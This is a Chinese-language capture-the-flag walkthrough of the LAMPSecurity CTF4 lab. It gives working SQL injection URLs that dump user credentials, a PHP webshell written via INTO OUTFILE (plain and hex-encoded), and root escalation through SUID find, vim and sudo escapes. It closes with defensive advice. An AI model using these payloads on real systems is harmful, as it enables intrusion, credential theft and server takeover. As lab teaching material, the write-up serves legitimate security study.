LAMPSecurity CTF4靶场实战:从SQL注入到Root提权的完整渗透测试
1. 项目概述从靶场到实战的渗透思维构建最近在复现LAMPSecurity CTF4这个经典靶场它确实是一个绝佳的Web渗透测试学习环境尤其对于理解SQL注入的攻击链和提权路径非常有帮助。这个靶场模拟了一个存在多处漏洞的Web应用核心目标就是从一个简单的SQL注入点入手逐步深入最终获取服务器的最高权限。很多朋友在接触安全测试时可能会觉得手工注入已经“过时”了或者过于依赖自动化工具。但我想说的是手工注入的过程是理解数据库结构、应用逻辑和攻击者思维不可替代的一环。它能让你真正明白工具在“做什么”以及在工具失效时如何自己找到出路。这篇文章我将详细拆解在LAMPSecurity CTF4中如何从一个看似普通的注入点开始通过手工方式一步步挖掘数据、获取Webshell并最终完成系统提权。整个过程我会结合详细的步骤、背后的原理说明以及我在实操中踩过的坑和总结的技巧。无论你是刚入门的新手还是想巩固基础的老兵相信都能从中获得一些启发。我们不仅是在解一道CTF题更是在学习一套完整的、从外网到内网的攻击方法论。2. 靶场环境搭建与初步信息收集2.1 靶机部署与网络配置LAMPSecurity CTF4通常以虚拟机镜像如OVA格式的形式提供。我的做法是使用VirtualBox或VMware Workstation导入该镜像。导入后一个关键步骤是将靶机的网络模式设置为“仅主机Host-Only网络”或“NAT网络”。这里有个重要细节如果你使用“桥接模式”靶机将和你物理机在同一个局域网这虽然方便但可能引入不必要的网络干扰或暴露风险。而“仅主机模式”会在你的物理机上创建一个虚拟的私有网络只有你的物理机和靶机在这个网络里形成了一个完美的、隔离的测试环境。启动靶机后我们首先需要知道它的IP地址。由于靶机通常没有图形界面我们需要在物理机上使用扫描工具。最常用的是netdiscover针对ARP扫描或nmap。打开终端输入sudo netdiscover -r 192.168.56.0/24这里的192.168.56.0/24是VirtualBox默认的Host-Only网段。如果你的网段不同需要相应调整。扫描结果会显示在线主机及其MAC地址通常那个不属于你物理机的IP就是靶机IP记下它例如192.168.56.101。2.2 服务探测与Web应用初窥拿到IP后下一步是进行端口和服务探测了解靶机对外开放了哪些入口。nmap -sV -sC -p- 192.168.56.101-sV: 探测服务版本。-sC: 使用默认脚本进行更深入的探测。-p-: 扫描所有65535个端口。扫描结果通常会显示开放了80端口HTTP服务和22端口SSH服务。22端口的存在暗示了我们后续提权的一个潜在方向。首先访问Web服务http://192.168.56.101。映入眼帘的是一个简单的网站可能包含一些链接比如“Home”、“About”、“Contact”。我们的首要任务是找到所有可能的用户输入点也就是攻击面。使用浏览器开发者工具F12查看页面源码或者使用像dirb、gobuster这样的目录爆破工具可以发现更多的隐藏路径或文件。gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt这个步骤往往能发现一些后台登录页面如/admin、/login.php、参数传递页面如/product.php?id1或潜在的文件上传点。在CTF4中核心的注入点往往存在于一个带参数的页面比如http://192.168.56.101/show.php?id1。3. SQL注入漏洞的手工探测与利用3.1 注入点确认与类型判断假设我们找到了http://192.168.56.101/show.php?id1。手工注入的第一步永远是确认注入点是否存在以及注入类型。1. 基础探测我们在ID参数后尝试添加一个单引号http://192.168.56.101/show.php?id1如果页面返回了数据库错误如MySQL的“You have an error in your SQL syntax”或者页面显示异常空白、布局错乱这强烈暗示存在SQL注入。如果页面正常可以尝试id1\双引号或id1)单引号加括号因为开发者的查询语句写法可能不同。2. 类型判断数字型 vs 字符型数字型注入如果id1 and 11页面正常而id1 and 12页面异常或返回空则很可能是数字型。因为11永真原查询逻辑不变12永假导致查询不到数据。字符型注入如果参数是被单引号包裹的如SELECT ... FROM ... WHERE user$input那么我们的测试应为id1 and 11和id1 and 12。同样通过真假逻辑导致的页面差异来判断。在CTF4中经过测试我们确认id参数存在数字型SQL注入漏洞。这是一个非常重要的信息意味着我们在构造注入语句时不需要考虑闭合引号直接使用逻辑运算符即可。3.2 联合查询注入获取数据确认注入点后我们使用最经典的UNION SELECT联合查询来获取数据库中的数据。这个过程是分步进行的1. 判断查询列数使用ORDER BY子句。ORDER BY用于对结果集按指定列排序如果指定的列索引超过实际列数数据库会报错。我们从1开始尝试http://192.168.56.101/show.php?id1 order by 1 -- - http://.../show.php?id1 order by 2 -- - http://.../show.php?id1 order by 3 -- - http://.../show.php?id1 order by 4 -- -当尝试到order by 4时页面出错而order by 3正常说明原查询语句返回了3列。-- -是MySQL中的注释符用于注释掉原查询后面的语句避免语法错误。2. 确定显示位知道了列数我们需要找出哪几列的内容会回显在网页上。我们构造一个联合查询让前一部分id1查询不到结果例如找一个不存在的id这样页面就会显示我们联合查询的结果。http://192.168.56.101/show.php?id-1 union select 1,2,3 -- -这里将id设为-1一个大概率不存在的值。如果页面某处显示了数字“2”和“3”说明第2列和第3列是回显位。我们后续就可以将查询结果放在这两个位置上。3. 获取数据库信息利用回显位我们可以逐步获取数据库的结构信息。当前数据库名http://.../show.php?id-1 union select 1, database(), 3 -- -页面回显位置会显示当前查询所使用的数据库名称假设为lampsql。获取所有数据库名http://.../show.php?id-1 union select 1, group_concat(schema_name), 3 from information_schema.schemata -- -information_schema.schemata表存储了所有数据库的信息。group_concat()函数将多行结果合并成一个字符串方便查看。4. 获取表名和列名获取lampsql数据库中的所有表名http://.../show.php?id-1 union select 1, group_concat(table_name), 3 from information_schema.tables where table_schemalampsql -- -假设我们得到了users, posts, config等表名。users表通常是我们最感兴趣的。获取users表的所有列名http://.../show.php?id-1 union select 1, group_concat(column_name), 3 from information_schema.columns where table_schemalampsql and table_nameusers -- -假设得到id, username, password。5. 拖取关键数据用户名和密码最后从users表中提取凭证信息http://.../show.php?id-1 union select 1, group_concat(username, :, password), 3 from lampsql.users -- -注意在实际渗透测试中密码很可能是哈希值如MD5。你需要判断其类型并尝试在线网站或本地工具如hashcat、john进行破解。在CTF4中为了简化密码可能是明文或简单的哈希。至此我们通过纯手工的方式完成了从注入点探测到数据窃取的全过程。这个过程虽然繁琐但能让你深刻理解SQL查询是如何被拼接、执行和返回的。4. 从数据库到Webshell写入文件与命令执行4.1 利用SQL注入写Webshell的条件与原理拿到数据库权限后我们的下一个目标是在服务器上获取一个命令执行入口通常就是上传一个Webshell。MySQL提供了INTO OUTFILE和INTO DUMPFILE语句可以将查询结果写入服务器文件系统。但这需要满足几个严苛的条件数据库用户需具备FILE权限可以通过union select 1, super_priv, 3 from mysql.user where usercurrent_user()来查询。如果返回Y则拥有FILE权限。知道Web目录的绝对路径这是最关键的一点。我们需要将Webshell写入网站根目录如/var/www/html下才能通过浏览器访问。路径信息可能通过报错信息泄露、配置文件泄露、或者基于经验猜测如Apache默认路径获得。对目标目录有写权限数据库进程通常是mysql用户必须对该目录有写权限。在CTF4中我们通过之前的查询可能已经发现了路径线索例如在某个配置表里或者通过加载文件函数LOAD_FILE()读取了/etc/passwd进行验证。假设我们得知Web根目录是/var/www/html。4.2 编写并写入一句话WebshellWebshell是一段简短的脚本允许我们通过HTTP请求执行服务器命令。PHP的一句话木马最为常见。我们尝试通过SQL注入写入一个文件。http://.../show.php?id-1 union select 1, ?php system($_GET[cmd]); ?, 3 into outfile /var/www/html/shell.php -- -这条语句将PHP代码?php system($_GET[cmd]); ?写入到了/var/www/html/shell.php文件中。system()函数会执行传递给它的命令。写入过程中的常见问题与排查权限不足错误如果返回错误如“Can‘t create/write to file”说明mysql用户对/var/www/html目录没有写权限。可以尝试写入临时目录如/tmp但这样无法通过Web访问。此时需要寻找其他提权或文件包含漏洞。文件已存在错误尝试换一个文件名。单双引号转义问题在注入语句中我们使用了单引号来包裹PHP代码。如果原查询对单引号有过滤可能导致写入失败或代码不完整。有时需要使用十六进制编码来绕过。例如将?php system($_GET[“cmd”]); ?转换成十六进制0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e然后直接使用union select 1, 0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e, 3 into outfile /var/www/html/shell.php4.3 验证Webshell与执行命令写入成功后访问http://192.168.56.101/shell.php。如果页面空白但没有报错通常是个好迹象。然后通过cmd参数传递系统命令http://192.168.56.101/shell.php?cmdwhoami如果页面返回了www-data或apache恭喜你你已经拥有了在Web服务器上的命令执行能力。尝试id命令查看当前用户权限ls -la /查看根目录pwd确认当前路径。实操心得写入Webshell后第一时间不是执行whoami而是先尝试id和uname -a。id命令能清晰展示当前用户所属的所有组有时会发现意外的权限如docker组。uname -a可以获取系统内核版本为后续可能的本地提权做准备。这是一个从攻击者视角养成的快速信息收集习惯。5. 权限提升从Web用户到Root5.1 信息收集与枚举在Webshell中执行命令的用户权限通常很低如www-data。我们需要将其提升到root。第一步永远是全面的信息收集。# 查看当前用户和组 id # 查看系统内核版本 uname -a # 查看已安装的软件包不同系统命令不同 dpkg -l | grep ^ii # Debian/Ubuntu rpm -qa # CentOS/RHEL # 查看具有SUID权限的特殊文件 find / -perm -us -type f 2/dev/null # 查看计划任务 crontab -l ls -la /etc/cron* # 查看网络连接和监听端口 netstat -antup # 查看进程列表 ps aux # 查看是否有密码文件可读 ls -la /home/ cat /etc/passwd将这些信息保存下来仔细分析。在CTF4这类靶场中提权路径通常设计得比较明显。5.2 利用SUID二进制文件提权find / -perm -us -type f 2/dev/null这个命令的结果需要重点关注。SUIDSet User ID权限意味着当任何用户执行这个文件时它将以文件所有者的身份运行。如果找到一个属于root且具有SUID权限的程序并且这个程序的功能可以被我们利用来执行任意命令那么提权就成功了。经典案例find命令find命令通常就具有SUID权限。我们可以利用它的-exec参数来执行命令。find / -name anything -exec /bin/bash -p \;-exec对找到的每个文件执行后面的命令。/bin/bash -p启动一个bash shell-p参数告诉bash保留提升的权限即root权限。 执行后你会获得一个root权限的bash shell。输入whoami验证应该返回root。其他常见SUID提权目标nmap旧版本交互模式nmap --interactive下可以使用!sh逃逸到shell。vim/vi通过:!bash或:shell命令可以启动shell。less/more在查看文件时可以输入!bash启动shell。cp/mv如果能够覆盖敏感文件如/etc/passwd或/etc/sudoers可能实现提权。5.3 利用内核漏洞提权如果系统内核版本较旧可能存在公开的本地提权漏洞。我们可以用uname -a获取内核版本然后搜索对应的漏洞利用代码Exploit。在实战中这需要非常谨慎因为错误的Exploit可能导致系统崩溃。在靶场中可以大胆尝试。基本步骤在Webshell中将Exploit代码通常是一个C文件上传到靶机。可以用wget从你的攻击机下载或者用echo命令逐行写入。在靶机上编译Exploitgcc exploit.c -o exploit。执行./exploit。如果成功会直接返回一个root shell。注意事项内核提权是“一锤子买卖”成功率取决于系统环境和Exploit的兼容性。在真实环境中务必先在相同配置的测试环境验证。在CTF中这往往是设计好的路径成功率很高。5.4 利用配置错误提权检查/etc/passwd文件看是否有用户的密码字段第二个字段为空白或简单的哈希这允许无密码登录。更常见的是检查sudo权限sudo -l这个命令会列出当前用户可以以root权限执行的命令。如果返回类似(ALL : ALL) ALL或(root) NOPASSWD: /usr/bin/vim那么提权就非常简单了。例如如果允许无密码运行vim那么sudo vim /etc/passwd然后在vim中输入:!bash即可获得root shell。在LAMPSecurity CTF4的实战中经过枚举我发现了find命令具有SUID权限使用上述方法成功获得了root权限。最后在/root目录下找到了标志性的flag.txt或proof.txt文件标志着整个渗透测试的完成。6. 防御视角下的总结与反思整个实战过程走下来我们可以看到一条清晰的攻击链发现注入点 - 利用注入获取数据库信息 - 利用数据库写文件功能获取Webshell - 通过Webshell进行本地信息收集 - 利用系统配置弱点SUID完成提权。每一个环节的失守都对应着开发或运维中的一处疏忽。从防御角度看我们可以做什么杜绝SQL注入这永远是第一道防线。使用参数化查询Prepared Statements或ORM框架从根本上杜绝SQL拼接。对输入进行严格的过滤和转义是次选方案因为容易遗漏。最小权限原则数据库连接用户绝对不应该拥有FILE权限更不应该使用root账户。Web应用账户如www-data在系统上应被严格限制不能执行不必要的命令。安全配置定期审查系统上的SUID/SGID文件移除非必要的设置。保持系统和所有软件包括内核更新到最新版本及时修补已知漏洞。纵深防御即使Web应用被攻破也要通过严格的网络隔离、文件权限控制、入侵检测系统IDS等手段增加攻击者横向移动和提权的难度。手工完成一次这样的渗透测试其价值远大于运行一个自动化工具。它强迫你去思考每一步操作背后的原理去理解系统是如何运作的以及防御的薄弱点究竟在哪里。这才是学习网络安全最扎实的方式。